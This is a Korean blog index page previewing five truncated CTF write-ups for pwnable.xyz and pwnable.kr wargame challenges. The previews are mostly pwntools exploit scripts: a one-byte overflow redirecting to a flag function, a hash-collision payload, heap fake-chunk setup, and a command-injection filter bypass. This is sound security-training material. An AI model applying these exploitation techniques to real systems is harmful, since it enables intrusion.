전체 글 299

pwnable.xyz - TLSv00

from pwn import * p = remote("svc.pwnable.xyz", 30006) # p = process("./challenge") # gdb.attach(p) # pause() # read_int32()에서 입력값의 마지막 바이트 null로 변환하므로 sendline() p.sendlineafter("> ", "3") p.recvline() p.sendafter("instead? ", "y") p.sendafter("comment: ", "minseo") # do_comment 1byte overflow(\x00), real_print_flag()를 가리킨다 p.sendlineafter("> ", "1") p.sendlineafter("len: ", "64") # char key[64..

pwnable.kr - [Toddler's Bottle] col

from pwn import * s = ssh(user="col", host="pwnable.kr", port=2222, password="guest") argv1 = ["" for i in range(2)] argv1[1] = p32(0x6c5cec8) * 4 + p32(0x6c5cecc) ''' 비효율적이지만 little endian으로 한 바이트씩 argv1[1] = (chr(int(0xc8))+chr(int(0xce))+chr(int(0xc5))+chr(int(0x6)))*4 argv1[1] += (chr(int(0xcc))+chr(int(0xce))+chr(int(0xc5))+chr(int(0x6))) ''' p = s.process(executable="/home/col/col", argv=a..

pwnable.kr - [Toddler's Bottle] coin1

#-*- coding:utf-8 -*- # SyntaxError: Non-ASCII character '\xeb' 발생하므로 맨 앞에 추가 from pwn import * # time expired 뜨네,, (인터넷 연결 문제?) # 이전에 썼던 pwnable.kr의 ssh 계정 하나 사용해서 내부에서 스크립트 실행해보자 # nc ip port = remote(IP, PORT) # s = ssh(user="shellshock", host="pwnable.kr", port=2222, password="guest") # p = s.remote("localhost", 9007) # 이래도 시간부족 -> 아예 /tmp 아래 폴더 하나 만들고 python 파일 만들어서 실행시키자 p = remote("localh..

pwnable.kr - [Toddler's Bottle] cmd1

#include #include int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; } PATH 환경변수 - 명령을 찾기 위해 검색할 디렉토리 지정 putenv("PATH=/~") // 기존 PATH 환경변수를 덮어씀! -> cat 명령어 쓰려면 /bin/cat 이렇게 명령어 위치 절..

pwnable.xyz - free spirit

from pwn import * # context.log_level = 'debug' p = remote("svc.pwnable.xyz", 30005) # p = process("./challenge") # pwndbg 터미널 열리면 거기서 bp 세팅하고 c 입력 후 원래 터미널에서 아무키나 입력 (동적분석!!!!) # 그러면 파이썬 코드 실행되고 bp에서 멈출 것. free() 근처에서 분석하자 # gdb.attach(p) # pause() win = 0x400a3e # 위치 안변하고, write 가능한 바이너리의 .data영역 (0x601000~0x602000)에 fake_chunk 만들자 # 0x601010, 0x601020 에는 stdin,stdout 관련 데이터 들어있으므로 0x601030 부터..